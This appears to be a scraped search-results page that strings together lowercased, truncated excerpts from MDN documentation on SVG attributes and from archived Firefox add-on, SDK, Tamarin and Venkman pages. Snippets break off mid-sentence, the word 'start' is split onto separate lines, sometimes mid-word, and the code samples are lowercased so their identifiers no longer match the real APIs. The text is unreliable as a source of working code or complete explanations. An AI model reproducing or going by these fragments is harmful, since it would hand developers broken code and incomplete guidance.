.... <number> this value indicates an angle in degrees. the marker is oriented such that the specified angle is that measured between the shape's positive x-axis and the marker's positive x-axis. specifications specification status comment scalable vector graphics (svg) 2the definition of 'orient' in that specification. candidate recommendation added the auto-
start-reverse value and simplified the descriptions of the values. scalable vector graphics (svg) 1.1 (second edition)the definition of 'orient' in that specification. recommendation initial definition ...
x1 - SVG: Scalable Vector Graphics
te instead. two elements are using this attribute: <line>, and <lineargradient> html,body,svg { height:100% } <svg viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg"> <line x1="1" x2="5" y1="1" y2="9" stroke="red" /> <line x1="5" x2="5" y1="1" y2="9" stroke="green" /> <line x1="9" x2="5" y1="1" y2="9" stroke="blue" /> </svg> line for <line>, x1 defines the x coordinate of the
starting point of the line. value <length> | <percentage> default value 0 animatable yes example html,body,svg { height:100% } <svg viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg"> <line x1="1" x2="5" y1="1" y2="9" stroke="red" /> <line x1="5" x2="5" y1="1" y2="9" stroke="green" /> <line x1="9" x2="5" y1="1" y2="9" stroke="blue" /> </svg> ...
...the exact behavior of this attribute is influenced by the gradientunits attributs value <length> | <percentage> default value 0% animatable yes example html,body,svg { height:100% } <svg viewbox="0 0 20 10" xmlns="http://www.w3.org/2000/svg"> <!-- by default the gradient vecto...
...g point of the gradient vector used to map the gradient stop values. ...
... 0 20 10" xmlns="http://www.w3.org/2000/svg"> <!-- by default the gradient vector
start at the left bounding limit of the shape it is applied to --> <lineargradient x1="0%" id="g0"> <stop offset="0" stop-color="black" /> <stop offset="100%" stop-color="red" /> </lineargradient> <rect x="1" y="1" width="8" height="8" fill="url(#g0)" /> <!-- here the gradient vector
start at 80% of the left bounding limit of the shape it is applied to --> <lineargradient x1="80%" id="g1"> <stop offset="0" stop-color="black" /> <stop offset="100%" stop-color="red" /> </lineargradient> <rect x="11" y="1" width="8" height="8" fill="url(#g1)" /> </svg> specifications specification status comment scalable vector graphics (svg) 2the...
y1 - SVG: Scalable Vector Graphics
te instead. two elements are using this attribute: <line>, and <lineargradient> html,body,svg { height:100% } <svg viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg"> <line x1="1" x2="9" y1="1" y2="5" stroke="red" /> <line x1="1" x2="9" y1="5" y2="5" stroke="green" /> <line x1="1" x2="9" y1="9" y2="5" stroke="blue" /> </svg> line for <line>, y1 defines the y coordinate of the
starting point of the line. value <length> | <percentage> default value 0 animatable yes example html,body,svg { height:100% } <svg viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg"> <line x1="1" x2="9" y1="1" y2="5" stroke="red" /> <line x1="1" x2="9" y1="5" y2="5" stroke="green" /> <line x1="1" x2="9" y1="9" y2="5" stroke="blue" /> </svg> ...
...the exact behavior of this attribute is influenced by the gradientunits attributs value <length> | <percentage> default value 0% animatable yes example html,body,svg { height:100% } <svg viewbox="0 0 20 10" xmlns="http://www.w3.org/2000/svg"> <!-- by default the gradient vecto...
...g point of the gradient vector used to map the gradient stop values. ...
...ault the gradient vector
start at the top left corner of the bounding box of the shape it is applied to. --> <lineargradient y1="0%" id="g0"> <stop offset="5%" stop-color="black" /> <stop offset="50%" stop-color="red" /> <stop offset="95%" stop-color="black" /> </lineargradient> <rect x="1" y="1" width="8" height="8" fill="url(#g0)" /> <!-- here the gradient vector
start at the bottom left corner of the bounding box of the shape it is applied to. --> <lineargradient y1="100%" id="g1"> <stop offset="5%" stop-color="black" /> <stop offset="50%" stop-color="red" /> <stop offset="95%" stop-color="black" /> </lineargradient> <rect x="11" y="1" width="8" height="8" fill="url(#g1)" /> </svg> specifications specification status ...
page-mod - Archive of obsolete content
code easier to maintain, secure, debug and review. name: contentscriptwhen type: string by default, content scripts are attached after all the content (dom, js, css, images) for the document has been loaded, at the time the window.onload event fires. using this option you can customize this behavior. ...
... this property defaults to "end". name: contentscriptoptions type: object you can use this option to define some read-only values for your content scripts. the option consists ...
... this property defaults to "end". name: contentscriptoptions type: object you can use this option to define some read-only values for your content scripts. the option consists of an object literal listing na...
simple-storage - Archive of obsolete content
this module works similarly to dom storage on the web, except that it's only available for add-ons. usage the simple storage module exports an object called storage that is persistent and scoped to your add-on. it's a normal javascript object, and you can treat it as you would any other. ...
...e it runs, simple storage won't work with add-ons executed using jpm run - that is, stored data will not persist from one run to the next. the easiest solution to this problem is to use the --profile option to jpm with a path to a profile - not just a profile name. you may also need to include the --no-copy option to prevent firefox from copying the profile to a temporarry directory each time it
starts. jpm run --no-copy --profile path/to/profile/dir if you specify a non-existent profile, the same will be created, don't worry. important: if you use this method, you must end your debugging session by quitting firefox normally, not by cancelling the shell command. if you don't close firefox normally, then simple storage will not be notified that the session is finished, and will not write yo...
...line 2 needs to be made conditional, so the array is only constructed if it does not already exist: if (!ss.storage.pages) ss.storage.pages = []; deleting data you can delete properties using the delete operator. here's an add-on that adds three buttons to write, read, and delete a value: var ss = require("sdk/simple-storage"); require("sdk/ui/button/action").actionbutton({ id: "writ...
widget - Archive of obsolete content
ntscript property. contentscript string,array a string or an array of strings containing the texts of content scripts to load. content scripts specified by this property are loaded after those specified by the contentscriptfile property. contentscriptwhen string when to load the content scripts. ...
...key named script whose value is a boolean that indicates whether or not to execute script in the content. contentscriptfile a local file url or an array of local file urls of content scripts to load. contentscript a string or an array of strings containing the texts of content scripts to load. contentscriptwhen when to load the content scripts. ...
...key named script whose value is a boolean that indicates whether or not to execute script in the content. contentscriptfile a local file url or an array of local file urls of content scripts to load. contentscript a string or an array of strings containing the texts of content scripts to load. contentscriptwhen when to load the content scripts. ...
remote/parent - Archive of obsolete content
e } = require("sdk/remote/parent"); remoterequire("./remote.js", module); // the first argument is the frame the message came from frames.port.on("pageshow", (frame) => { console.log(frame.frameelement.currenturi.host + ": pageshow"); }); globals functions remoterequire(id, module = null) loads a module in any existing and future child processes. the module loads asynchronously but you can
start sending messages to the module immediately. you can use an absolute path to the module or a relative path. if you use a relative path, you must use the module parameter. const { remoterequire } = require("sdk/remote/parent"); remoterequire("./my-module.js", module); note that even single-process applications have a process that contains content frames. for consistency and to make writing multi...
...as a simple list of all running processes: const { processes } = require("sdk/remote/parent"); for (var p of processes) { console.log(p.isremote); } each element in this list is a process. there will always be at least one process in this list, the main process. a multiprocess application will usually have at least one more process. listen to attach and detach events to hear as processes are
started and stopped: const { processes } = require("sdk/remote/parent"); processes.on("attach", function(process) { console.log("new process is remote: " + process.isremote); }); methods forevery(callback) calls the callback for every existing process and any new processes created in the future. this is a shortcut for enumerating existing processes and then listening for attach events. properti...
...mote: " + process.isremote); }); methods forevery(callback) calls the callback for every existing process and any new processes created in the future. this is a shortcut for enumerating existing processes and then listening for attach events. properties port an event emitter that sends messages to and receives messages from all processes. events attach event emitted when a new process is
started. the event handler is called with a process representing the new process. detach event emitted when a process disconnects from the application. it may have been closed normally or it may have crashed. the event handler is called with the process that detached. frames a list of the content frames across all processes. each element in this list is a frame. listen to attach and detach events t...
cfx - Archive of obsolete content
"options" are global options applicable to the tool itself or to all commands (for example --help). cfx supports the following global options: -h, --help - show a help message and exit -v, --verbose - enable lots of output "command-specific options" are documented alongside the commands. there are four supported cfx commands: cfx init create a skeleton add-on as a
starting point for your own add-on. cfx run launch an instance of firefox with your add-on installed. cfx test runs your add-on's unit tests. cfx xpi package your add-on as an xpi file, which is the install file format for firefox add-ons. there are also a number of internal commands, which are more likely to be useful to sdk developers than to add-on develope...
...d-on's unit tests. cfx xpi package your add-on as an xpi file, which is the install file format for firefox add-ons. there are also a number of internal commands, which are more likely to be useful to sdk developers than to add-on developers. cfx init create a new directory called "my-addon", change into it, and run cfx init. this command will create an skeleton add-on, as a
starting point for your own add-on development, with the following file structure: my-addon data docs main.md lib main.js package.json readme.md tests test-main.js cfx run this command is used to run the add-on. called with no options it looks for a file called package.json in the current directory, loads the co...
...o the file specified by logfile. logfile may be specified as a full path or as a path relative to the current directory. cfx test run available tests for the specified package. called with no options this command will look for a file called package.json in the current directory. if package.json exists, cfx will load the corresponding add-on, load from the tests directory any modules that
start with the word test- and run the unit tests they contain. note the hyphen after "test" in the module name. cfx test will include a module called "test-mycode.js", but will exclude modules called "test_mycode.js" or "testmycode.js". see the tutorial on unit testing and the reference documentation for the assert module for details. supported options as with cfx run you can use options to control...
Extension Versioning, Update and Compatibility - Archive of obsolete content
doesn't produce the effect you want. valid application versions automatic add-on update checking applications will periodically check for updates to installed add-ons by retrieving the updateurl. the information returned can be used to notify the user of an updated version to the add-on as well as inform the application of new application versions that the add-on is compatible with. note:
starting in gecko 2.0, the automatic add-on update process properly supports cases in which the add-on's guid changes by uninstalling the old version and then installing the new one. previously, it was possible to wind up with two copies of the same add-on installed. compatibility updates during the automatic update checks, applications look for both new versions and updated compatibility informatio...
...r to verify the integrity of the downloaded xpi you may provide an updatehash entry alongside the updatelink. this should be a hash generated against the file data using one of the supported hashing algorithms (sha1, sha256, sha384 and sha512). in firefox 3 if the updatelink is not https then the hash must be made using one of the sha family of algorithms. ...
...rithms (sha1, sha256, sha384 and sha512). in firefox 3 if the updatelink is not https then the hash must be made using one of the sha family of algorithms. the hashing algorithm used is put at the
start of the string and separated from the hash by a :. <em:updatehash>sha256:78fc1d2887eda35b4ad2e3a0b60120ca271ce6e64ad2e3a0b60120ca271ce6e6</em:updatehash> note: the value of updatehash, must
start with the string of hashing algorithm, it is a common error to delete this prefix, when setting new value to updatehash:sha256:78fc1d2887eda35b4ad2e3a0b60120ca271ce6e64ad2e3a0b60120ca271ce6e6 when a hash is specified the downloaded file is compared with the hash and an error shown if it does not match. there are quite a few tools you may use to generate hashes: various unix flavors include sh...
Install Manifests - Archive of obsolete content
to 48x48 pixels in size. if this property is not specified, a default icon is used. <em:iconurl>chrome://myext/skin/icon.png</em:iconurl> note: for the above example to work you will also have to add a skin package line to your chrome.manifest file. see chrome registration#skin. alternatively you can place your icon in the directory specified in your content package line. gecko 1.9.2 note
starting in gecko 1.9.2 (firefox 3.6), you can also simply include your icon, named icon.png, in the base directory of the add-on. this allows your add-on's icon to be displayed even when the add-on is disabled, or if the manifest is missing an iconurl entry. icon64url a chrome:// url to a 64x64 pixel icon to display in the add-on's details view . if this property is not specified, the smaller icon ...
... view . if this property is not specified, the smaller icon above will be used. <em:icon64url>chrome://myext/skin/icon64.png</em:icon64url> note: for the above example to work you will also have to add a skin package line to your chrome.manifest file. see chrome registration#skin. alternatively you can place your icon in the directory specified in your content package line. gecko 2.0 note
starting in gecko 2.0 (firefox 4.0), you can also simply include your icon, named icon64.png, in the base directory of the add-on. this allows your add-on's icon to be displayed even when the add-on is disabled, or if the manifest is missing an icon64url entry. localized allows you to localize the add-on's name, description, contributors and other metadata. the localized description must specify at ...
... with binary components are always subject to strict compatibility checking (because binary components need to be rebuilt for every major application release anyway). note: if you want to restore the old behavior of strict compatibility checking of all add-ons, regardless of the value of this setting in their manifests, you can set the extensions.strictcompatibility preference to true. note:
starting in gecko 11.0, applications such as firefox will assume add-ons that have not been updated in a very long time are no longer compatible by default. targetplatform a string specifying a platform that the add-on supports. it contains either the value of os_target alone or combined with target_xpcom_abi, separated by an underscore (_). you can specify multiple targetplatform properties per ma...
Appendix B: Install and Uninstall Scripts - Archive of obsolete content
it is also common for an add-on to require to run a script only when it is installed for the first time, or every time it is updated. it can be used to write or copy necessary files to the profile folder, like the initial db the add-on will use for storage. a few others require cleanup code to be run after the add-on is uninstalled. this appendix covers these cases with simple code that should work for most add-ons. install scripts just like with a regular initialization function, we want a load event handler: // rest of overlay code goes here. ...
...application.prefs.setvalue(firstrunpref, true); // all the rest of the first run code goes here. } } in this case you would need to declare the first run preference in your default preferences file, with a default value of false. you should also change the preference value before you run any other first run code. keep in mind that the user could have set multiple firefox windows to open at
startup, so there's a race condition on which window will run the first run code. if you need to run code on every update, or some of them, the code would be very similar. instead of a boolean preference, it would be best to use a string preference with the last-installed add-on version. and then do a version comparison to decide which code to run. the current version number can be hard-coded in the f...
...loper's discretion. uninstalling an add-on happens in 2 stages: first the add-on is flagged to be uninstalled, and then the add-on is actually removed. in the case of bootstrapped extensions, both steps happen at the same time. in the case of "traditional" extensions, like those explained in the tutorial, both steps happen at different times. in this case the user is told that firefox needs to re
start in order for the extension to be completely removed. then the user has the option to re
start right away, wait to re
start whenever is convenient, or even cancel the uninstall operation. the add-on will not be completely removed until the browser is re
started. so, in order to detect the first stage, you'll need to add an event listener using the addaddonlistener method. the data parameter explains...
Intercepting Page Loads - Archive of obsolete content
heir contents, or to block them and do something else instead. some of the techniques presented here apply only to content loaded in the main browser area, while others detect content being loaded in other xul windows, or even detect xul content being loaded. also, the different techniques tap into different steps of the load process. which one you should use solely depends on your needs. we will
start with the simplest one, which is also the most common to use. note: performance is very important when it comes to add-ons and page loads. read the recommendations in appendix a regarding performance if you're planning on implementing any of these. the easy way: load events this comes from the tabbrowser code snippets page. in a nutshell, from the chrome code in the overlay we add an event list...
...access to the window where the content was going to be loaded. sometimes you do not care about redirects, and only want to detect the final page being loaded, the one holding the actual content. in this case, your best bet is to use onstatechange, and filter to when the state flags indicate a document has begun being loaded: if ((astateflags & components.interfaces.nsiwebprogresslistener.state_
start) && (astateflags & components.interfaces.nsiwebprogresslistener.state_is_document)) note the use of the binary mask & operator. to detect if this is a frame being loaded or not, you can do this: if (awebprogress.domwindow != awebprogress.domwindow.top) { // this is a frame. } in this case, the url can be obtained from arequest.name. make sure you access it from inside the stat...
...usly seen solutions, because you get the content uri directly as an argument, and you indicate if the content should be loaded or not with the return value, which has well-defined possible values. the context parameter gives you access to the window loading the content. as with all other solutions, you need to be efficient, and a good way to do this is to filter out unneeded cases right from the
start. shouldload is called for every load operation firefox tries to do, including images, scripts and xul documents. a good filter would look like this: shouldload : function(acontenttype, acontentlocation, arequestorigin, acontext, amimetypeguess, aextra) { let result = components.interfaces.nsicontentpolicy.accept; // we should check for type_subdocument as well if we want frames. if ((comp...
Session store API - Archive of obsolete content
simply replace the contents of the function myextensionhandlerestore() with whatever you need to do when the tab is restored. in this example, nsiconsoleservice is used to display a message to the console. this event is sent just before a tab is restored. an event of type sstabrestored fires each time a tab has finished restoring. it's worth noting that this event is sent even if tab loading at
startup is deferred until the user selects the tab. firefox 3 note in firefox 3 and later, if you need to detect when a tab is about to be closed so that you can update data associated with the tab before it is closed, you can watch for the "sstabclosing" event, which is sent to the tab. restoring without re
starting firefox 3.6 note this section applies to firefox 3.6 and later. firefox 3.6 k...
...hat state. in other words, it's now possible for sessions to be restored even without the browser quitting and being relaunched. this is something you may need to keep in mind if you rely on the behavior of the session store system. the session restore process the exact sequence of events that occurs when a session is being restored is: a session state is about to be restored. this can be on
startup or in response to undo close tab, since closed tabs are restored as single-tab sessions. new windows are opened as required (one for each window that was saved in the session store), and cookies and the list of recently closed tabs are restored. after that, the following steps are taken for each tab being restored: either an existing tab is reused or a new tab is created. in the latter ca...
...ue from a tab, you can use code similar to the following: var ss = components.classes["@mozilla.org/browser/sessionstore;1"] .getservice(components.interfaces.nsisessionstore); var currenttab = gbrowser.selectedtab; ss.deletetabvalue(currenttab, "key-name-here"); remarks the window value save and restore functions work exactly like the tab-based functions by similar names.
starting in firefox 3.5, notifications are sent after reading session store data and before using it, as well as immediately before writing it back to disk. see the list in observer notifications. using the session store api in seamonkey there are a number of differences between the session store api in firefox and the api in seamonkey 2.0: the class name is @mozilla.org/suite/sessionstore;1 var...
Using the Stylesheet Service - Archive of obsolete content
the category names are ignored, and the values are the uris from which to load the stylesheets. the order the sheets are applied in is undefined. usage notes stylesheets added using this service get applied to both chrome and content documents. remember to d...
...tservice); var ios = components.classes["@mozilla.org/network/io-service;1"] .getservice(components.interfaces.nsiioservice); var u = ios.newuri("chrome://myext/content/myext.css", null, null); if(sss.sheetregistered(u, sss.user_sheet)) sss.unregistersheet(u, sss.user_sheet); registering stylesheets on
startup via the category manager stylesheets may also be registered on
startup via the agent-style-sheets and user-style-sheets categories. the category names are ignored, and the values are the uris from which to load the stylesheets. the order the sheets are applied in is undefined. usage notes stylesheets added using this service get applied to both chrome and content documents. remember to declare the correct namespace if you want to apply stylesheets to xul doc...
...s. the category names are ignored, and the values are the uris from which to load the stylesheets. the order the sheets are applied in is undefined. usage notes stylesheets added using this service get applied to both chrome and content documents. remember to declare the correct namespace if you want to apply stylesheets to xul documents. registered style sheets are not remembered across re
starts. loadandregistersheet fails if css contains #id. '#' must be percent-encoded, details see bug 659650. historical information nsistylesheetservice was introduced in firefox 1.5. in firefox 1.5 and 2, adding and removing such style sheets takes effect upon the next load of a page. in firefox 3, the changes take effect immediately, though some declarations (especially those affecting xul) won't...
Creating a dynamic status bar extension - Archive of obsolete content
the status bar panel's display is handled by the javascript code in the file stockwatcher.js. unlike our previous sample, this one is implemented as an object. we do this because in future samples in this series, we're going to be doing things that are easier to do if our extension is implemented that way. ...
...sample, this one is implemented as an object. we do this because in future samples in this series, we're going to be doing things that are easier to do if our extension is implemented that way. we use the window.addeventlistener() dom function to tell firefox to call the stockwatcher.
startup() function when a new browser window is opened: window.addeventlistener("load", function(e) { stockwatcher.
startup(); }, false); our new extension has two primary functions:
startup() and refreshinformation(). the refreshinformation() function contains another function, called inforeceived(). the following sections will examine these one by one.
startup() the
startup() function is called when a new browser window is opened. we end up reloading data from each of the windows once in 10 minutes - fixing this ...
...on() function contains another function, called inforeceived(). the following sections will examine these one by one.
startup() the
startup() function is called when a new browser window is opened. we end up reloading data from each of the windows once in 10 minutes - fixing this by creating a js component responsible for communication with the server is a good idea for one of the future articles
startup: function() { this.refreshinformation(); window.setinterval(this.refreshinformation, 10*60*1000); }, this
starts by calling our refreshinformation() function, which is responsible for fetching and displaying stock ticker information in the status bar panel. we do this so that upon loading, the stock information is displayed as soon as possible. after doing that, we install an interval rout...
Creating a status bar extension - Archive of obsolete content
next » this is the first in a series of articles that will demonstrate how to create increasingly intricate extensions for the firefox browser. some of the samples in this series may be similar to samples you've seen elsewhere, but the goal of this series of articles is to help compile information for new extension developers into one place to make it easy to jump in and get
started. note: the extension created by this tutorial won't work in firefox that don't have a static status bar (that is, firefox 4 and up). you can find a more up-to-date tutorial in the xul school tutorial the essentials of an extension. many of the concepts introduced here apply to any xul-based application; however, to keep from getting completely overwhelmed, we're going to focus specifically on firefo...
... </description> </em:targetapplication> </description> </rdf> let's take a look at some key parts of the manifest. extension identification information certain information is needed so firefox can uniquely identify your extension. in this sample, these fields are: property name description id a unique identification string. before firefox 1.5, this was a guid.
starting with firefox 1.5, however, you should use a string in the form extension-name@creator-domain. version the extension's version number. type the addon type. for extensions, this is 2. human-readable information in this sample, we have four pieces of human-readable information; that is, information that is displayed to the user within the firefox interface. these are...
...fox browser window's status bar -- a new statusbarpanel object we call "status-bar-sample-1". we include properties to configure our new status bar panel the way we want, setting its text label to "hello world" and establishing a tool tip with the message "sample status bar item" in it. trying it out to test your extension, drop the folder into the extensions folder in your profile folder. then re
start firefox, and you should see the extension in the status bar. next » ...
How Thunderbird and Firefox find their configuration files - Archive of obsolete content
ini. the value contained in this key is a litteral value, no variables (such as %userprofile%/mozprofile) allowed. we chose to point this to the user's home directory (h:\thunderbird). the configuration itself is stored in the specified directory, in a file named prefs.js. this is a readable file of javascript commands. all other files in that directory are dynamically created by mozilla on first
start. ...
...bird). the configuration itself is stored in the specified directory, in a file named prefs.js. this is a readable file of javascript commands. all other files in that directory are dynamically created by mozilla on first
start. unlike mozilla's binary registry.dat file, thunderbird's and firefox' profiles.ini file is a readable text file. here is an example of what this may look like: [general]
startwithlastprofile=1 [profile0] name=default isrelative=1 path=profiles/default.uda if you want to point this to a location of your choice (for example h:\thunderbird), you need to perform to changes: set isrelative to be 0 update the path to point to the desired place. note: for absolute paths thunderbird uses dos'ish backslashes (\) rather than unixish slashes (/). you'd obtain a file such as the...
...file0] name=default isrelative=1 path=profiles/default.uda if you want to point this to a location of your choice (for example h:\thunderbird), you need to perform to changes: set isrelative to be 0 update the path to point to the desired place. note: for absolute paths thunderbird uses dos'ish backslashes (\) rather than unixish slashes (/). you'd obtain a file such as the following: [general]
startwithlastprofile=1 [profile0] name=default isrelative=0 path=h:\thunderbird a discussion about this file can be found here ...
Compiling The npruntime Sample Plugin in Visual Studio - Archive of obsolete content
this is how webpages invoke your plugin. should either be like "application/x-vnd-yourorganization-yourfiletype" or be officially registered with iana (unlikely) or be a standard type (e.g. if you want to play mpeg files). file extension reflects the data type handled by the plugin, esp. when loaded from local disk on windows. ...
...a win32 gui library (dll) (in .net 2003: win32 template, then switch to dll in application settings in the following dialog, export symbols too?)(in visual studio 2008, it is visualc++|win32|win32 project, then check dll in the wizard). if a wizard gives you a checkbox to create an empty project, then check it. otherwise you'll delete files later. ...
... directory. optional: open the above .def file and change "nprt" to the filename of your dll as vs sees it (without "np", if you decided to rename later) optional: edit the .rc file and and the top of npp_gate.cpp for the description, mimetype, file extension etc. to reflect your plugin remove the function npp_getjavaclass from npp_gate.cpp build rename the resulting dll so that the filename
starts with "np" and ends with ".dll" (or "32.dll"? 8.3?) and copy it in mozilla's "plugins" folder
start mozilla and open about:plugins to verify the plugin is detected open the file "test.html" and begin testing. make sure the mimetypes of your html embed tags match the mimetype specified in your nprt.rc file and the top of your npp_gate.cpp file version issues if vc++ compiler throws you erro...
Download Manager preferences - Archive of obsolete content
omatically when downloads are completed. in thunderbird the default value is true. in other applications the default value is false. browser.download.manager.flashcount indicates the number of times the appropriate user interface element should be "flashed" to get the user's attention when a download completes. default value is 2. browser.download.manager.focuswhen
starting a boolean value that indicates whether or not to focus the download manager window when a download begins. in firefox,thunderbird and seamonkey the default value is false. in other applications the default value is true. browser.download.manager.quitbehavior indicates what should happen to in-progress downloads if the application is quit while they're ongoing. 0 indicate...
...ations the default value is true. browser.download.manager.quitbehavior indicates what should happen to in-progress downloads if the application is quit while they're ongoing. 0 indicates that the downloads should be paused and resumed automatically the next time firefox is run; 1 indicates that the downloads should be paused but will not automatically resume when the application is re
started; and 2 indicates that the downloads will be canceled on quit. default value is 0 (resume on next launch). browser.download.manager.resumeonwakedelay an integer value indicating the number of milliseconds to wait after the system wakes up from sleep before resuming downloads. default value is 10000. browser.download.manager.retention indicates how long downloads are...
...onds that must elapse between download complete alerts; if two downloads complete within this amount of time, only one alert is displayed. default value is 2000 (2 seconds). browser.download.manager.showalertoncomplete a boolean value that indicates whether or not an alert should be shown when downloads complete. default value is true. browser.download.manager.showwhen
starting a boolean value that indicates whether or not to show the downloads window when a download begins. the default value is true. browser.download.manager.usewindow note: in gecko 1.9.1 in bug 439495 a boolean value indicating whether or not to use the downloads window (true) or display download status in the status bar (false) in the browser window. default ...
Nanojit - Archive of obsolete content
lloc) labelmap(*alloc, &lc); buf->names = new (*alloc) lirnamemap(*alloc, fragmento->labels); #endif // create a fragment to hold some native code. fragment *f = fragmento->getanchor((void *)0xdeadbeef); f->lirbuf = buf; f->root = f; // create a lir writer lirbufwriter out(buf); // write a few lir instructions to the buffer: add the first parameter // to the constant 2. out.ins0(lir_
start); lins *two = out.insimm(2); lins *firstparam = out.insparam(0, 0); lins *result = out.ins2(lir_add, firstparam, two); out.ins1(lir_ret, result); // emit a lir_loop instruction. it won't be reached, but there's // an assertion in nanojit that trips if a fragment doesn't end with // a guard (a bug in nanojit). lins *rec_ins = out.insskip(sizeof(guardrecord) + sizeof(sideexit)); guardrec...
...return 1; } printf("compilation successful.\n"); // call the compiled function. typedef js_fastcall int32_t (*addtwofn)(int32_t); addtwofn fn = reinterpret_cast<addtwofn>(f->code()); printf("2 + 5 = %d\n", fn(5)); return 0; } code explanation interesting part are the lines 46-50: // write a few lir instructions to the buffer: add the first parameter // to the constant 2. out.ins0(lir_
start); lins *two = out.insimm(2); lins *firstparam = out.insparam(0, 0); lins *result = out.ins2(lir_add, firstparam, two); out.ins1(lir_ret, result); basically, what the code provided above is doing is feeding raw lir into the lir buffer, using the lirwriter's writer object. from an operational point of view, it is creating a function, which takes an integer input, and adds it to two, and output...
...mento->assm(), f); is called basically). then a pointer to a function is used, which takes an int as input and returns the sum of that parameter with two. (typedef js_fastcall int32_t (*addtwofn)(int32_t); ) then, printf is hardcoded to call it with a parameter 5, and on linking with nanojit library, the following program will display 2+5=7 now, what i need to do is generate output for this:
start two = int 2 twoplustwo = add two, two ret twoplustwo this adds two and two in the most hardcoded way possible. the conversion from lir to a program like one shown above is the task of the parser. guards guards are special lir instructions, similar to conditional branches, with the difference that when they are called, instead of going to a particular address, they leave the jit code entirel...
Actionscript Acceptance Tests - Archive of obsolete content
there are a variety of support files available for non-standard actionscript tests. testname.as.asc_args this file specifies additional arguments to pass to asc when compiling the test: # asc args for file # two modes are available: # override| all command line arguments (except builtin.py) are ignored and replaced by these # merge| merge these args in with the current args # specifiy an arg that
starts with -no will disable the arg... eg: -no-optimize merge| -as3 a dir.asc_args file can also be created with the same contents that will apply to the entire directory. testname.as.asc_args files will take precedence over the dir.asc_args file. testname.as.avm_args this file specifies additional arguments to pass to the shell when running the test - the user can use the special variable $dir to ...
....abc files (e.g: avmshell a.abc b.abc testname.abc) there is a special avm_args directive called multiabc that is specified surrounded by two pipe (|) symbols: |multiabc| $dir/testname_support/a.abc $dir/testname_support/b.abc the extra abc files will usually be placed in a _support dir (see additional files below). any avm arguments can be placed before the |multiabc| directive, or the line can
start with the directive. any test arguments (--) must be placed after the multiabc file listings. here is a more complicated example that passes both avm args, multiple abcs and test args: -ojit |multiabc| $dir/testname_support/a.abc -- test_args a dir.avm_args file can also be created with the same contents that will apply to the entire directory. testname.as.avm_args files will take precedence ov...
... by line to the .out file and any difference is considered a failure. may be used in conjunction with a .exitcode file. testname.abc_ for special cases where the .as source is not available (e.g. fuzzed files) it is possible to check in a .abc_ which will let the test harness run compiled files without source. the underscore is necessary otherwise the buildbot system will delete the .abc before
starting up a testrun (not an issue when running locally, but makes it easy to differentiate between binary-only abc files and generated abcs. support directories in some cases a test may require additional files to successfully run. there are two kinds of support directories available. files to be included when compiling the test: if a test requires additional .as files to be included when compiling,...
Tamarin Build System Documentation - Archive of obsolete content
on the build system status page? tamarin-redux mercurial builds are displayed in the top 3 sections: compile, smoke, test sandbox builds are displayed in next 3 sections: sandbox compile, sandbox smoke, sandbox test tamarin-central is considered a "sandbox" and will appear under sandbox phase what are the build phases? compile, smoke, test. when all of the slave machines are free they all
start the first build phase simultaneously. if an error or failure occurs on any slave in a phase the build stops. the next phase is
started when all slaves have completed the previous phase successfully. the compile phase compiles all of the tamarin source code and builds all of the shell executables, any errors will stop the phase and a red box will appear on the slave where the error occurred. ...
...nctional testcases including acceptance tests, cmdline tests, and selftests. the acceptance tests are the majority and are run on all shells (release, release-debugger, debug, debug-debugger). the test phase takes approximately 1 hour 45 minutes. the performance and deep phases do not run synchronously. the phases run when slaves are available and the other phases do not wait for completion to
start the next build. how are builds triggered? checkins (hg push) to http://hg.mozilla.org/tamarin-redux and sandbox requests will trigger a buildbot build when all build slaves are idle the next build begins before the build begins buildbot waits for 2 minutes of no checkin activity the build system prioritizes tamarin-redux checkins over sandbox builds when several tamarin-redux checkins occur t...
...)? to provide quick and accurate results of building and testing tamarin on supported platforms and configurations to represent the build results in a clear and concise manor please give use feedback if you have any comments or suggestions to improve the build system how to add tests to the smokes? ...
The life of an HTML HTTP request - Archive of obsolete content
the webshell then tells its documentloader to load (command "view") the specified url. [note: passes nswebshell.mobserver as nsistreamobserver and the webshell as nsicontentviewercontainer to the docloader.] (2) the document loader calls ns_openuri with the url to begin transfering the requested file. ...
...alls ns_openuri with the url to begin transfering the requested file. necko (the network library) checks the url scheme (the first part of the url, http: in this case) and locates the correct nsiprotocolhandler (in this case nshttphandler) and asks it for a nsichannel (nshttpchannel). the channel represents the connection to the server, and is the source of the html data stream. (3) when data is
starting to come from the webserver the nsichannel calls the on
startrequest in the documenloader. now the channel knows the content type of the incoming data, so the documentloader can find an nsidocumentloaderfactory for the "text/html" content type (in this case an nslayoutdlf). this factory is then told to create a nsicontentviewer. the factory creates a contentviewer. in most cases (including this)...
...eet (ua.css) and the document specific style sheets. each content node corresponds to one or more nsiframe, except content with displaytype "none". if there are several frames created from a content node, then the first of these are called the "primary" node, and the following frames can be found by using the getnextinflow() method of nsiframe. the initial reflow is done by the nshtmlcontentsink::
startlayout(),
startlayout() calls presshell::initialreflow().
startlayout is called quite early in the parsing process, for html it's called in nshtmlcontentsink::openbody() (among other places). todo: how are nsiframes reflowed after a change when they already exist? (8) each nsiframe knows how how to draw itself on the screen. when the presshell [note: not true, who really does the call?] has layo...
Venkman Internals - Archive of obsolete content
notes on venkman source code. as with any complex application, aspects of the design may not be clear for new readers of the source. these notes are written by such readers: as you learn please correct any errors. questions why can't breakpoints be set on some source lines some of the time? sometimes the source has small ticks in the margin for every executable line in my javascript. sometimes these ticks are missing on some or all lines of a file. only lines with tick marks seem to break point properly. venkman asks the js engine which lines are executable. it will mark these with a "tick" as you call it. if the file is not currently loaded, the js engine doesn't know anything about the file. ...
...enkman when the actual breakpoint was hit and it couldn't find a matching breakpoint object. you can see the prototype for this object at http://lxr.mozilla.org/mozilla/sourc...ebugger.js#914 scriptwrapper.jsdscript is the reference to the jsdiscript object for the function. sourcecontext is the 5 lines of source text before the last instance of the word "function" on the line where this function
starts. (not in 2006, seems to be computed on the fly in getsourcecontext()). the full text of the file can be found in an array located at scriptwrapper.scriptinstance.sourcetext.lines. this array is 0 based, of course. the
starting line of the function is scriptwrapper.jsdscript.baselinenumber (one based). the total length of the function is scriptwrapper.jsdscript.lineextent. if you want to get at t...
.... a scriptmanager keeps all of the loaded instances of a particular url in the scriptmanager.instances array, in the order that they were loaded. from here, you can set and clear breakpoints in all instances. scriptmanager.transients is a hash of all of the "transient" scripts from this url, where a transient script is something compiled as a the result of an eval, settimeout, or setinterval. try
